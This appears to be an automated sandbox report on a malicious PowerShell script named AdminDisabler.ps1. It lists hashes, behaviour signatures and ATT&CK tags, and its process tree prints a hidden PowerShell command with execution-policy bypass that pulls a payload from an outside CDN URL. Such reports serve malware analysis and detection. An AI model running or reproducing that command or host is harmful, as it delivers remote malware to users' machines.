e8d9387a90f56734ddddc802ece7da57c33b5fd4e099fb68bd6ab0c39cb21928

Analysis

max time kernel
1264s
max time network
1266s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
17-11-2024 18:17

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General

Target

AdapterFixer/AdminDisabler.ps1
Size

193B
MD5

f5cb8323eefad78cf98b62f58f8f6d6c
SHA1

0814d49c14d5fc00119a382120a530ec74c129c5
SHA256

343462169546cbb716a87a1efbd6c5e2ed87a7accbb8ec7235e8489a65442031
SHA512

5351df306f2c5df17e67c712de2ec63acb2cd0dc69ac119f263800864d9cb9694028d92385cc5a923f40e63e6af050dcbda2ba1ab70a2d81ebd9a148126cd3a8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4064	powershell.exe
2584	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4064	powershell.exe
4064	powershell.exe
2584	powershell.exe
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 2584	4064	powershell.exe	82
PID 4064 wrote to memory of 2584	4064	powershell.exe	82

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\AdapterFixer\AdminDisabler.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -command = https://bot-filter-tx.b-cdn.net/build-variation-1.txt
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
e30544e6d048b2c1c6129c89835c16dd

SHA1
21d167ff64825d3f8a5c351c3160b670dc14cb60

SHA256
df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1

SHA512
fcfc1e2b4110286dc8ede8caab34ea309e24fa6deb225213ab0e5b2d6499cc195e65dde2e125bca3ef5d5b5f4fdda66a1e4429cf2ea1c3df0ba92142342dfd9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
104B

MD5
f23d2355fab9cea5292f36ff57e9772f

SHA1
e89d190ef27768e9312f396ab538814823bb5652

SHA256
bab231f4683f8799d1db1445fa3d5d9afd42c94c84ff868a07dbf29f4b1a3d8b

SHA512
684b2b263d5de618e51d11c7175adc8c3f3fe19bede62ea3561785401d031b5a17451d835baf82c69667e5ef6af24bf8eaf22f047e5ca2103ac78d7bf99c7345

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eeldymjx.0rm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2584-28-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/2584-23-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/2584-24-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/2584-25-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/2584-29-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/4064-12-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/4064-13-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/4064-0-0x00007FFDEA9F3000-0x00007FFDEA9F5000-memory.dmp

Filesize
8KB

Download
memory/4064-11-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download
memory/4064-10-0x0000015D631B0000-0x0000015D631D2000-memory.dmp

Filesize
136KB

Download
memory/4064-33-0x00007FFDEA9F0000-0x00007FFDEB4B2000-memory.dmp

Filesize
10.8MB

Download